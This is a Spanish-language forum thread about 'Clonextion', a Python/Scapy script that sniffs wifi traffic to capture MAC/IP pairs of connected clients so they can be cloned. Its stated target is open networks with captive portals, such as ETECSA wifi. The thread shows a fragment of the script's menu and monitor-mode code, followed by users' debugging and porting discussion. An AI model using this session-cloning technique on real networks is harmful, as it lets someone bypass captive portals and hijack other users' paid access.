    esta_en_modo_monitor = os.path.isdir("/sys/class/net/" + interface)
    if esta_en_modo_monitor:
      os.system("iw dev " + interface + " del")
    sys.exit()

  else:
    Menu_Inicio ()

os.system("clear")
Titulo ()
print (verde + '¡¡¡Advertencia!!!')
print(rojo + '''
Algunas acciones derivadas de este programa pueden
resultar invasivas, por lo que se recomienda utilizar
solo en redes propias o con los permisos necesarios.
Verifique la legislación vigente del país en el que se
encuentra para no incurrir en delitos.
Usted es el único responsable del mal uso que le pueda
dar a estas líneas de código.
''')


nada = (raw_input(verde + "ENTER" + azul + " (continuar) " + verde + "X" + azul + " (salir) >> " + verde))
if nada.lower() == 'x'.lower():
    sys.exit()

os.system("clear")
Titulo()
print('')
crea_interfaz_monitor ()
time.sleep(0.8)
Menu_Inicio ()
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: dynyly en 03-09-2019, 15:28 (Martes)
saludos
gracias por compartir  ....no entiendo nada de python , ya me gustaria saber la mitad con eso me valdria  ;D
La verdad copie y pege en archivo de texto renombre a clonextion.py di permisos pero no me va con el tema detectar interfaz

Código: [Seleccionar]
wifislax64 ~ # python clonextion.py
  File "clonextion.py", line 4
SyntaxError: Non-ASCII character '\xc3' in file clonextion.py on line 4, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
Código: [Seleccionar]
wifislax64 ~ # python3 clonextion.py --help
  File "clonextion.py", line 77
    print(gris + str(i) + ') ' + azul + array_interfaces.strip())
                                                                ^
IndentationError: unindent does not match any outer indentation level
wifislax64 ~ # python2 clonextion.py --help
  File "clonextion.py", line 4
SyntaxError: Non-ASCII character '\xc3' in file clonextion.py on line 4, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
wifislax64 ~ #
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 03-09-2019, 16:23 (Martes)
saludos
gracias por compartir  ....no entiendo nada de python , ya me gustaria saber la mitad con eso me valdria  ;D
La verdad copie y pege en archivo de texto renombre a clonextion.py di permisos pero no me va con el tema detectar interfaz

Código: [Seleccionar]
wifislax64 ~ # python clonextion.py
  File "clonextion.py", line 4
SyntaxError: Non-ASCII character '\xc3' in file clonextion.py on line 4, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
Código: [Seleccionar]
wifislax64 ~ # python3 clonextion.py --help
  File "clonextion.py", line 77
    print(gris + str(i) + ') ' + azul + array_interfaces.strip())
                                                                ^
IndentationError: unindent does not match any outer indentation level
wifislax64 ~ # python2 clonextion.py --help
  File "clonextion.py", line 4
SyntaxError: Non-ASCII character '\xc3' in file clonextion.py on line 4, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
wifislax64 ~ #

Puede que sea a la hora de copiar que algunos caracteres no salgan bien.
Ahora mismo no puedo revizar a fondo haber que puede estar pasando pero prueba el código que está en YouTube y dime si detecta las interfaces de red.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: USUARIONUEVO en 03-09-2019, 16:29 (Martes)
Existe un parametro para los mensajes que es insertar codigo ...lo he arreglado creo , a ver si ahora os funciona.

de todas formas, no estoy seguro si desde windows dependiendo la version este en UTF-8 ,por lo que es mejor copiarlo y pegarlo ya dentro de wifislax, por si acaso.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 03-09-2019, 20:30 (Martes)
Gracias USUARIONUEVO
Lo probaste ahora? Qué te parece?
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: dynyly en 03-09-2019, 21:21 (Martes)
thanks
era el copia y pega algun caracter mal al hacerlo desde windows a veces me conecto desde windows ...
probado parace que va bien gracias por compartir va muy  fluido y rapido
-para la proxima creo que seria mejor al elegir red que marque la pontecia de señal
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: USUARIONUEVO en 07-09-2019, 20:23 (Sábado)
Holas , lo he estado probando un poco por encima.

Te voy a dar un par de sugerencias de mejora.

1 - No se si sera complicado , pero python2 deja de tener soporte en enero 2020 , tal vez no sea mucho esfuerzo ajustar lo necesario para que funcione con python3.   --> si necesitas algun modulo python3 que no este imagino que sabras que basta con

Código: [Seleccionar]
pip3 install  MODULO
2 - Esta parte no se muy bien como exponerla , te comento por encima ... si tienes tu tarjeta wlan conectada a un ap , al escanear con la interfaz clnx de clonexion , los resultados son pobres , al desconectar la wlan del AP  , el escaneo es bastante mas amplio , una de las guerras de aircrack , estaba hay , ...conflictos entre interface real y virtual  (wlan y monx a la vez) , los resultados no son los mejores.

De hecho , el invento de clonar la interface real a una virtual y poder escanear , es por que aun parcheo el  KERNEL , aunque aircrack-ng ya no trabaja asi ,ya que directamente destruye wlanX y la convierte en wlanXmon  ....para evitar al maximo los conclictos.

Entonces si no quieres marearte en exceso , un mensaje de que la interface real wlanX esta conectada a internet y el escaneo no sera optimo.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 09-09-2019, 15:10 (Lunes)
Holas , lo he estado probando un poco por encima.

Te voy a dar un par de sugerencias de mejora.

1 - No se si sera complicado , pero python2 deja de tener soporte en enero 2020 , tal vez no sea mucho esfuerzo ajustar lo necesario para que funcione con python3.   --> si necesitas algun modulo python3 que no este imagino que sabras que basta con

Código: [Seleccionar]
pip3 install  MODULO
2 - Esta parte no se muy bien como exponerla , te comento por encima ... si tienes tu tarjeta wlan conectada a un ap , al escanear con la interfaz clnx de clonexion , los resultados son pobres , al desconectar la wlan del AP  , el escaneo es bastante mas amplio , una de las guerras de aircrack , estaba hay , ...conflictos entre interface real y virtual  (wlan y monx a la vez) , los resultados no son los mejores.

De hecho , el invento de clonar la interface real a una virtual y poder escanear , es por que aun parcheo el  KERNEL , aunque aircrack-ng ya no trabaja asi ,ya que directamente destruye wlanX y la convierte en wlanXmon  ....para evitar al maximo los conclictos.

Entonces si no quieres marearte en exceso , un mensaje de que la interface real wlanX esta conectada a internet y el escaneo no sera optimo.

Saludos USUARIONUEVO.

Bueno... Vamos por parte como dijo el forence:
1- Cambiarlo a python3 imagino que no sea complicado como dices. Al final lo que utilizo son funciones básica que no creo dejen de estar en python3. Creo que cambiando solo la primera línea se resolvería el problema. Solo es cuestión de probar.

2- Jeje, complicado para mí responderte eso hermano. Pero bueno... allá vamos.
Lo que intenté fue que mientras el usuario estubiera conectado y navegando por internet, en cualquier momento pudiera volver al script, ya sea para tomar los datos de otro cliente y clonarlo o para realizar otro escaneo. Teniendo siempre presente el hardware que tengo: una laptop con una sola tarjeta de red  ;D
Tengo entendido (pido me corrijas si digo un disparate) que cuando networkmanager utiliza una interfaz de red (wlan0 por ejemplo), si esta interfaz se elimina se pierde la conexión.
Esto que planteas de los confictos es bueno tenerlo en cuenta (yo no lo sabía). Cuando tienes más de una interfaz de red, se puede resolver el problema pidiendo al usuario la interfaz de red para conectarse y la interfaz de red por la cual trabajará el script.
Pero... No somos todos los que tenemos la posibilidad de tener más de una interfaz de red. Por eso es que nunca me pasó esta idea por la cabeza. Pero si es una idea bastante buena.

Aquí estamos...
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: gonzalobahia en 09-09-2019, 20:13 (Lunes)
como lo ejecuto seleccione "es ejecutable" en propiedades pero no arranca lo arrastro incluso directamente a la consola de comandos me dice que el directorio no es valido lo baje desde en enlace de mega
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: USUARIONUEVO en 09-09-2019, 22:02 (Lunes)

Código: [Seleccionar]
Creo que cambiando solo la primera línea se resolvería el problema. Solo es cuestión de probar.
No, no vale cambiar python2 por python3 en el env.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: pikomule en 10-09-2019, 12:35 (Martes)
solo vale para las wifis de cuba? o puede probarse con cualquiera?
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 10-09-2019, 14:34 (Martes)
solo vale para las wifis de cuba? o puede probarse con cualquiera?

Que conste que no fue pensado para WIFI_ETECSA  ;D ;D ;D solo que esta red se ve afectada. No sea que me busque un problema porque a alguien se le ocurra pensar que lo hice pensando en "joder" solo a dicha red  ^-^ ^-^ ^-^ Y no es así, es solo con fines educativos y cada cual es responsable de para qué lo utilice  >:D
Siempre que la red reuna las características descritas...
Incluso en teoría, si la red no cuenta con Aislamiento de Clientes, debe de funcionar. Si alguien puede probar el script en una red sin esta característica activa, fuera bueno que comentara el resultado.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: pikomule en 10-09-2019, 15:55 (Martes)
gracias por tu respuesta. estoy probando con mi wifi a la que estoy conectado con el
movil. Usando wifislax live, no me localiza clientes. uso la verdion 1.0, no se si hay alguna mas nueva
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 11-09-2019, 21:45 (Miércoles)

Código: [Seleccionar]
Creo que cambiando solo la primera línea se resolvería el problema. Solo es cuestión de probar.
No, no vale cambiar python2 por python3 en el env.

Bueno... pues ya me perdí. Nunca le he puesto un dedo encima a python3. Y mucho menos a crear un script para esta versión.
Así que si me puedes tirar un cable o al menos darme una luz de cómo lo haría...
No puedo instalar la última versión de wifislax que imagino que con lo que me dijiste venga o se le ponga próximamente python3, porque ya mi tarequito de laptop no da para más  :'( :'( :'(
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 11-09-2019, 22:02 (Miércoles)

Código: [Seleccionar]
Creo que cambiando solo la primera línea se resolvería el problema. Solo es cuestión de probar.
No, no vale cambiar python2 por python3 en el env.
Bueno USUARIONUEVO me puse a leer un poco sobre este tema aquí
https://codeday.me/es/qa/20181231/51036.html (https://codeday.me/es/qa/20181231/51036.html)
no creo estar muy lejos de la verdad. O quizas sí  ^-^
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 12-09-2019, 19:55 (Jueves)
como lo ejecuto seleccione "es ejecutable" en propiedades pero no arranca lo arrastro incluso directamente a la consola de comandos me dice que el directorio no es valido lo baje desde en enlace de mega

 Hola, para ejecutarlo puedes hacer clic derecho dentro de la carpeta donde tienes el script y seleccionar Abrir terminal aquí, luego dentro de la consola escribes python clonextion.py, suponiendo que clonextion.py sigue siendo el nombre del script. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 12-09-2019, 22:08 (Jueves)
gracias por tu respuesta. estoy probando con mi wifi a la que estoy conectado con el
movil. Usando wifislax live, no me localiza clientes. uso la verdion 1.0, no se si hay alguna mas nueva

Dime las caracteísticas de tu wifi.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: pikomule en 13-09-2019, 08:58 (Viernes)
es un plc wifi tenda en la banda de 2,4. no estoy usando wifislax 64 por q no me carga en ningun dispositivo, uso la normal. he probado otras redes con el mismo resultado
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: chaves en 13-09-2019, 11:52 (Viernes)
Hola a todos,

Yo he probado la aplicación y:

- con tarjeta realtek interna y con usb externo tplink al escanear da error y se queda bugeado
- con otro usb externo si funciona, escanea y encuentra las redes, tambien las iteraciones con los clientes, pero a la hora de buscar clientes no detecta ninguno ( he probado en varias redes)
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: chaves en 13-09-2019, 12:15 (Viernes)
Las tarjetas que he comentado anteriormente son todas 2.4 y el error que da es el siguiente:

Escaneando redes cercanas.                               CTRL+C para detener
----------------------------------------------------------------------------
BSSID              CHANNEL      ESSID
Traceback (most recent call last):
  File "clonextion.py", line 462, in <module>
    Menu_Inicio ()
  File "clonextion.py", line 248, in Menu_Inicio
    sniff(iface='clnxion1', store=0, prn=busca_ap)
  File "/usr/lib64/python2.7/site-packages/scapy/sendrecv.py", line 886, in sniff
    r = prn(p)
  File "clonextion.py", line 118, in busca_ap
    datos_de_red = (p[Dot11].addr3 + "  " + '-' + "\t\t" + p[Dot11].info)
  File "/usr/lib64/python2.7/site-packages/scapy/packet.py", line 1079, in __getitem__
    raise IndexError("Layer [%s] not found" % lname)
IndexError: Layer [Dot11] not found
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-09-2019, 14:27 (Viernes)
es un plc wifi tenda en la banda de 2,4. no estoy usando wifislax 64 por q no me carga en ningun dispositivo, uso la normal. he probado otras redes con el mismo resultado

El script está pensado para una red wifi abierta con portal cautivo y aislamiento de cliente. Tu red tiene estas características? Aunque en teoría puede que funcione bajo otras características, no estoy 100% seguro de que funcione. También funciona en wifislax 4.12, fue donde lo comencé a realizar. Creo que debes de actualizarte un poco  ;D ;D ;D en cuanto a sistema
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-09-2019, 14:36 (Viernes)
Las tarjetas que he comentado anteriormente son todas 2.4 y el error que da es el siguiente:

Escaneando redes cercanas.                               CTRL+C para detener
----------------------------------------------------------------------------
BSSID              CHANNEL      ESSID
Traceback (most recent call last):
  File "clonextion.py", line 462, in <module>
    Menu_Inicio ()
  File "clonextion.py", line 248, in Menu_Inicio
    sniff(iface='clnxion1', store=0, prn=busca_ap)
  File "/usr/lib64/python2.7/site-packages/scapy/sendrecv.py", line 886, in sniff
    r = prn(p)
  File "clonextion.py", line 118, in busca_ap
    datos_de_red = (p[Dot11].addr3 + "  " + '-' + "\t\t" + p[Dot11].info)
  File "/usr/lib64/python2.7/site-packages/scapy/packet.py", line 1079, in __getitem__
    raise IndexError("Layer [%s] not found" % lname)
IndexError: Layer [Dot11] not found

Claramente se ve que tienes problemas con Scapy. Recuerda que debes de tener todas las dependencias instaladas y actualizadas.
También debes de fijarte que tus adaptadores soporten el modo monitor.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: pikomule en 13-09-2019, 14:49 (Viernes)
si, mi wifi tiene pass

No ha servido de nada mi prueba  ;D


es un plc wifi tenda en la banda de 2,4. no estoy usando wifislax 64 por q no me carga en ningun dispositivo, uso la normal. he probado otras redes con el mismo resultado

El script está pensado para una red wifi abierta con portal cautivo y aislamiento de cliente. Tu red tiene estas características? Aunque en teoría puede que funcione bajo otras características, no estoy 100% seguro de que funcione. También funciona en wifislax 4.12, fue donde lo comencé a realizar. Creo que debes de actualizarte un poco  ;D ;D ;D en cuanto a sistema
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-09-2019, 19:20 (Viernes)
si, mi wifi tiene pass

No ha servido de nada mi prueba  ;D


Es bueno que lo hallas dicho porque se que muchos lo han intentado con redes con encriptación y lo primero que dicen es "NO FUNCIONA", sin al menos ver leído todos los comentarios: "No le pidan al pobre que hackee la NASA"
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 20-09-2019, 04:40 (Viernes)
Las tarjetas que he comentado anteriormente son todas 2.4 y el error que da es el siguiente:

Escaneando redes cercanas.                               CTRL+C para detener
----------------------------------------------------------------------------
BSSID              CHANNEL      ESSID
Traceback (most recent call last):
  File "clonextion.py", line 462, in <module>
    Menu_Inicio ()
  File "clonextion.py", line 248, in Menu_Inicio
    sniff(iface='clnxion1', store=0, prn=busca_ap)
  File "/usr/lib64/python2.7/site-packages/scapy/sendrecv.py", line 886, in sniff
    r = prn(p)
  File "clonextion.py", line 118, in busca_ap
    datos_de_red = (p[Dot11].addr3 + "  " + '-' + "\t\t" + p[Dot11].info)
  File "/usr/lib64/python2.7/site-packages/scapy/packet.py", line 1079, in __getitem__
    raise IndexError("Layer [%s] not found" % lname)
IndexError: Layer [Dot11] not found

Claramente se ve que tienes problemas con Scapy. Recuerda que debes de tener todas las dependencias instaladas y actualizadas.
También debes de fijarte que tus adaptadores soporten el modo monitor.

Hola @Yelexis, no creo que el problema sea Scapy o alguna dependencia, a mi me da el mismo error, te comento que tengo 3 PCs con Wifislax64 2.0 instalado del mismo modo y con los mismos módulos todos en las mismas versiones. Al probar el script en las 3 PCs me da error o no en dependencia del adaptador de red que esté usando, no importa en qué equipo lo utilice, siempre el problema es con las mismas tarjetas de red. También quiero aclarar que todos los adaptadores de red que usé para probar el script soportan el modo monitor. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 20-09-2019, 14:27 (Viernes)
Las tarjetas que he comentado anteriormente son todas 2.4 y el error que da es el siguiente:

Escaneando redes cercanas.                               CTRL+C para detener
----------------------------------------------------------------------------
BSSID              CHANNEL      ESSID
Traceback (most recent call last):
  File "clonextion.py", line 462, in <module>
    Menu_Inicio ()
  File "clonextion.py", line 248, in Menu_Inicio
    sniff(iface='clnxion1', store=0, prn=busca_ap)
  File "/usr/lib64/python2.7/site-packages/scapy/sendrecv.py", line 886, in sniff
    r = prn(p)
  File "clonextion.py", line 118, in busca_ap
    datos_de_red = (p[Dot11].addr3 + "  " + '-' + "\t\t" + p[Dot11].info)
  File "/usr/lib64/python2.7/site-packages/scapy/packet.py", line 1079, in __getitem__
    raise IndexError("Layer [%s] not found" % lname)
IndexError: Layer [Dot11] not found

Claramente se ve que tienes problemas con Scapy. Recuerda que debes de tener todas las dependencias instaladas y actualizadas.
También debes de fijarte que tus adaptadores soporten el modo monitor.

Hola @Yelexis, no creo que el problema sea Scapy o alguna dependencia, a mi me da el mismo error, te comento que tengo 3 PCs con Wifislax64 2.0 instalado del mismo modo y con los mismos módulos todos en las mismas versiones. Al probar el script en las 3 PCs me da error o no en dependencia del adaptador de red que esté usando, no importa en qué equipo lo utilice, siempre el problema es con las mismas tarjetas de red. También quiero aclarar que todos los adaptadores de red que usé para probar el script soportan el modo monitor. Salu2.

Saludos.
Sí, es problema de scapy. Parece que en la última versión han cambiado algunas cosas.
Has una búsqueda en google: "indexerror layer dot11 not found". Te arrojará unos cuantos resultados que pueden servir.
https://stackoverflow.com/questions/56154506/scapy-dot11-not-found (https://stackoverflow.com/questions/56154506/scapy-dot11-not-found)
En las línas donde se importan las dependencias es dónde está el problema. Al no poder importarse la capa dot11 genera el error que comentas.
Debes de meterte en el código y cacharrear. Yo no puedo hacer nada ahora mismo porque como ya comenté en un post anterior, no puedo instalar la última versión de wifislax en mi laptop.

Alguien que por favor investigue un poco y nos de una mano (O que me done unos $$$$ para comprarme una laptop nueva y poder hacer algo ;D ;D ;D )
Les pido disculpas a todos, pero se me ha complicado la cosa para adaptar el proyecto a las nuevas versiones.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: VER en 05-11-2019, 00:44 (Martes)
Actualizado https://github.com/secdev/scapy/tree/master/scapy
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: B14cK CoD3 en 08-12-2019, 19:56 (Domingo)
Como puedo hacerme del script si ya no se encuentra en la descripcion del video en youtube ?
Título: donde puedo bajarme este script para provarlo...
Publicado por: B14cK CoD3 en 27-12-2019, 06:46 (Viernes)
Saludos a todos. Y Gracias por probar y valorar el script.

anon77, Vodker y para todos claro

Comentar algo sobre el funcionamiento del script:
Para poder obtener las parejas MAC/IP de los clientes conectados, el script captura los paquetes TCP/IP que es en donde viene esta información. Si los clientes no están generando tráfico (no están accediendo a Internet) el escript no capturará ningún paquete.
Prueben a navegar mientras realizan la captura y me cuentan.

Como bien comenta Vodker, la poca complejidad del uso del script no da para muchos errores humanos.